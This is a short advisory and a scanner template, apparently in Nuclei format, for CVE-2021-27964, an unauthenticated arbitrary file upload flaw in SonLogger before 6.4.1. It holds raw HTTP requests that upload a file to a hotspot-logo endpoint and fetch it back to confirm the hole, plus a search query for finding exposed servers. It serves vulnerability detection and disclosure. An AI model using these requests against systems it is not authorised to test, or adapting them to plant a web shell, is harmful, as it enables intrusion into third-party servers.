SonLogger before 6.4.1 is affected by Unauthenticated Arbitrary File Upload. An attacker can send a POST request to /Config/SaveUploadedHotspotLogoFile without any authentication or session header. There is no check for the file extension or content of the uploaded file.
PoC代码[已公开]
id: CVE-2021-27964
info:
name: SonLogger - Arbitrary File Upload
author: DhiyaneshDK
severity: critical
description: |
SonLogger before 6.4.1 is affected by Unauthenticated Arbitrary File Upload. An attacker can send a POST request to /Config/SaveUploadedHotspotLogoFile without any authentication or session header. There is no check for the file extension or content of the uploaded file.
reference:
- https://erberkan.github.io/2021/SonLogger-vulns/
- https://github.com/erberkan/SonLogger-vulns
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-27964
cwe-id: CWE-434
epss-score: 0.65493
epss-percentile: 0.98446
cpe: cpe:2.3:a:sfcyazilim:sonlogger:*:*:*:*:*:*:*:*
metadata:
vendor: sfcyazilim
product: sonlogger
fofa-query: body="SonLogger"
max-request: 2
tags: cve,cve2021,sonlogger,intrusive
flow: http(1) && http(2)
variables:
file: "{{to_lower(rand_text_alpha(5))}}"
rand: "{{to_lower(rand_text_alpha(8))}}"
http:
- raw:
- |
POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywBBYcU9lVZ
X-Requested-With: XMLHttpRequest
------WebKitFormBoundarywBBYcU9lVZ
Content-Disposition: form-data; name="file"; filename="{{file}}.txt"
Content-Type: image/png
{{rand}}
------WebKitFormBoundarywBBYcU9lVZ--
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, 'application/json')
- contains(body, 'Message')
condition: and
internal: true
- raw:
- |
GET /Assets/temp/hotspot/img/{{file}}.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, '{{rand}}')
condition: and
# digest: 4a0a00473045022100f6419853b59af87e7a9fd99ebdeb6e67da418583d297e5e8f78df467ef6704580220508effa0b69b6de10ad622a793f55b26c556ffe0e4b50c2b7dd55cdae1e7cc4d:922c64590222798bb761d5b6d8e72950